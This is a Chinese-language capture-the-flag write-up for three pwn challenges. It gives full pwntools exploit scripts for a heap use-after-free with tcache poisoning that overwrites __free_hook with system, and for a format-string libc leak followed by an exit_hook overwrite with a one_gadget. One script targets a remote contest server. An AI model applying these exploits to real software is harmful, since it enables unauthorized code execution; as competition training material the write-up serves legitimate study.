初赛 takeway
堆菜单题
审计代码
第一个功能中,申请的堆块大小固定,并且只能申请五块,读入的字节也都没有溢出
在2功能中,找到一个uaf漏洞
在三功能中,存在打印,和修改功能
因为堆块大小固定,而且只能只能申请5块,平时都是利用unsorted bin来泄露libc,这个题没法利用unsorted bin,我能想到的方法,1.利用修改堆块指针为got地址,2.修改堆块指针为bss的stdout地址
这里用的是第一种方法,因为存在uaf,并且堆块的指针都存在于堆块中,如下图。
思路:申请三个堆块0,1,2,再free俩堆块,然后释放块1,泄露出堆地址,然后tcache bin attack,申请到指针堆块,然后修改指针堆块中的块0指针指向堆块指针块1,块一指针指向某一got的地址-8(chunk0 ==>> chunk1 ==>> got.printf-8),泄露出libc得到libc基址之后,再通过修改堆块0(堆块0此时指向堆块1)把堆块1的指针修改为free_hook,再编辑块1实际上就是编辑free_hook,改为system,再free一个binsh的堆块,即可获取权限
脚本如下:
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./takeway')
#p = remote('59.110.164.72', 10025)
elf = ELF('./takeway')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(i,c,cc):
rl("Please input your choose: ")
sl(str(1))
rl("Please input your order index\n")
sl(str(i))
rl("Please input your food name: ")
s(c)
rl("a remark: ")
s(cc)
def free(i):
rl("Please input your choose: ")
sl(str(2))
rl("Please input your order index: ")
sl(str(i))
def show(i,c):
rl("Please input your choose: ")
sl(str(3))
rl("Please input index: ")
sl(str(i))
rl("The remark of this order is: ")
addr=u64(p.recv(4).ljust(8,b'\x00'))
#addr=get_addr()
rl("New food name is: ")
s(c)
return addr
add(0,b'a',b'a')
add(1,b'a',b'a')
add(2,b'/bin/sh\x00',b'a')
free(0)
show(0,b'a')
heap_base=show(0,b'a')+0x290
li(hex(heap_base))
free(1)
show(1,p64(heap_base))
add(3,b'a',b'a')
add(4,p64(heap_base+0x8),p64(elf.got['printf']-8))
rl("Please input your choose: ")
sl(str(3))
rl("Please input index: ")
sl(str(1))
rl("The remark of this order is: ")
libc_base=get_addr()-libc.sym['printf']
li(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
rl("New food name is: ")
s(b'\x00')
rl("Please input your choose: ")
sl(str(3))
rl("Please input index: ")
sl(str(0))
rl("New food name is: ")
s(p64(free_hook))
rl("Please input your choose: ")
sl(str(3))
rl("Please input index: ")
sl(str(1))
rl("New food name is: ")
s(p64(system))
free(2)
inter()
半决赛uaf
审计代码发现格式化字符串漏洞
并且能改写一个地址,然后程序就退出,
利用格式化字符串泄露出libc,然后打exit_hook为one_gadget
脚本如下:
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('120.78.172.238', 43259)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rl(">> \n")
sl(str(5))
rl("Passwd: ")
s(str(1234567890))
rl("Tell me ur name: \n")
#bug()
sl(b'%19$p')
#bug()
libc_base=int(p.recv(14),16)-libc.sym['__libc_start_main']-243
li(hex(libc_base))
exit_hook=libc_base+2020872
one_gadget=libc_base+0xe6c7e
rl(">> \n")
sl(str(2))
li(hex(exit_hook))
rl("WRITE MODE: ")
s(p64(exit_hook))
s(p64(one_gadget))
inter()
半决赛admin
非预期,能获取管理员密码